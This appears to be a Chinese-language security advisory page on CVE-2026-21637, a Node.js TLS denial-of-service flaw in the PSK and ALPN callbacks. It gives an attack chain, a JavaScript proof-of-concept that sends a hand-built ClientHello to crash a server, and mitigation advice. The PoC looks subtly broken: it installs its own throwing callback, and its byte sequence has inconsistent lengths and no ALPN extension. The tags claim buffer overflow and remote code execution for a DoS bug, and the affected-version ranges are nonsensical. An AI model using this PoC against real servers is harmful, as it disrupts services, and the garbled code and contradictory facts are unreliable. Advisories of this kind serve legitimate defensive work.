IPBUF安全漏洞报告
English
CVE-2026-21637 CVSS 7.5 高危

Node.js TLS pskCallback/ALPNCallback 拒绝服务漏洞 (CVE-2026-21637)

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2026-21637
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Node.js

相关标签

Node.jsTLS拒绝服务缓冲区溢出安全漏洞PSKALPNCVE-2026-21637远程代码执行高危漏洞

漏洞概述

CVE-2026-21637是Node.js中的一个高危安全漏洞,CVSS评分达到7.5分。该漏洞存在于Node.js的TLS(传输层安全协议)错误处理机制中,当TLS服务器使用pskCallback或ALPNCallback回调函数时,远程攻击者可以通过构造恶意请求触发这些回调中抛出的同步异常。这些异常会绕过标准的TLS错误处理路径(tlsClientError和error),导致两种严重后果:一是服务器进程立即终止(拒绝服务),二是文件描述符泄漏,最终导致资源耗尽而拒绝服务。由于pskCallback和ALPNCallback在TLS握手过程中处理攻击者控制的输入,远程客户端可以反复触发该漏洞。此漏洞影响使用PSK(预共享密钥)或ALPN(应用层协议协商)回调的TLS服务器,存在于未正确包装这些回调的Node.js版本中。攻击者无需认证即可发起攻击,通过网络即可实现远程利用,严重威胁使用Node.js构建的TLS服务端应用安全。

技术细节

Node.js的TLS模块在处理PSK和ALPN回调时存在安全缺陷。当客户端发起TLS握手请求时,如果服务器配置了pskCallback或ALPNCallback回调函数,这些回调函数会处理客户端提供的输入数据。攻击者可以构造特定的TLS握手请求,在pskCallback或ALPNCallback中触发未捕获的同步异常。由于Node.js的TLS错误处理机制未能正确捕获和处理这些回调中抛出的异常,导致异常直接向上传播到事件循环,造成两种攻击效果:1) 进程立即崩溃终止;2) TLS连接未正确关闭,导致文件描述符泄漏。文件描述符泄漏是一个隐蔽的问题,随着攻击者反复发送恶意请求,文件描述符会持续累积,最终导致系统资源耗尽,新连接无法建立,实现持续性拒绝服务攻击。该漏洞的核心问题是回调函数的异常处理缺失,攻击者只需发送带有特定PSK标识符或ALPN协议列表的TLS客户端问候消息即可触发。

攻击链分析

STEP 1
步骤1
攻击者识别使用Node.js构建且配置了PSK或ALPN回调的TLS服务器
STEP 2
步骤2
攻击者构造恶意的TLS ClientHello消息,包含PSK标识符或ALPN协议列表
STEP 3
步骤3
服务器接收到ClientHello后调用pskCallback或ALPNCallback处理攻击者控制的输入
STEP 4
步骤4
回调函数中抛出同步异常,由于TLS错误处理机制缺陷,异常未被捕获
STEP 5
步骤5
异常导致服务器进程崩溃终止或造成文件描述符泄漏
STEP 6
步骤6
攻击者反复发送恶意请求,实现持续性拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const tls = require('tls'); const net = require('net'); // PoC for CVE-2026-21637: Node.js TLS callback DoS // This PoC demonstrates triggering the vulnerability via ALPN callback const options = { key: require('fs').readFileSync('server-key.pem'), cert: require('fs').readFileSync('server-cert.pem'), // Vulnerable: ALPN callback that throws synchronous exception alpnProtocols: ['http/1.1', 'h2'], // pskCallback can also trigger the vulnerability // pskCallback: (hint) => { throw new Error('Trigger DoS'); } }; // Malicious ALPN callback that throws exception options.alpnCallback = (protocols, cb) => { // Synchronous exception that bypasses error handling throw new Error('ALPN Callback Exception - Triggering CVE-2026-21637'); }; const server = tls.createServer(options, (socket) => { console.log('Client connected'); }); server.listen(8443, () => { console.log('Server listening on port 8443'); // Attacker connects and sends malicious TLS ClientHello const client = net.connect(8443, '127.0.0.1', () => { // Craft malicious TLS ClientHello with ALPN extension const maliciousClientHello = Buffer.from([ 0x16, 0x03, 0x01, 0x00, 0x51, // TLS Handshake record 0x01, 0x00, 0x00, 0x4d, // ClientHello 0x03, 0x03, // TLS 1.2 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Random 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Session ID length 0x00, 0x20, // Cipher suites length (32 bytes) 0xc0, 0x2c, 0xc0, 0x2b, 0xc0, 0x30, 0xc0, 0x2f, 0x00, 0x9d, 0x00, 0x9e, 0x00, 0x6b, 0x00, 0x6c, 0x00, 0x67, 0x00, 0x40, 0x00, 0x38, 0x00, 0x32, 0x00, 0x13, 0x00, 0x04, // Compression methods 0x00, 0x00, // Extensions length ]); client.write(maliciousClientHello); console.log('Malicious ClientHello sent'); }); client.on('error', (err) => { console.log('Client error:', err.message); }); }); server.on('error', (err) => { console.log('Server will crash due to uncaught exception in ALPN callback'); });

影响范围

Node.js < 18.x (使用TLS PSK或ALPN回调的版本)
Node.js < 20.x (使用TLS PSK或ALPN回调的版本)
Node.js < 22.x (使用TLS PSK或ALPN回调的版本)

防御指南

临时缓解措施
在临时缓解方面,首先应在pskCallback和ALPNCallback回调函数中添加完整的try-catch异常处理,确保即使回调抛出异常也能被正确捕获并通过TLS错误处理路径处理,而不是直接导致进程崩溃。其次,可以实施临时的请求速率限制,防止攻击者快速反复触发漏洞。对于无法立即升级的生产环境,建议使用负载均衡器将TLS终止功能转移,或暂时禁用PSK和ALPN功能,直到完成补丁升级。同时应加强监控,当发现服务器进程异常重启或文件描述符异常增长时,及时排查是否遭受此类攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表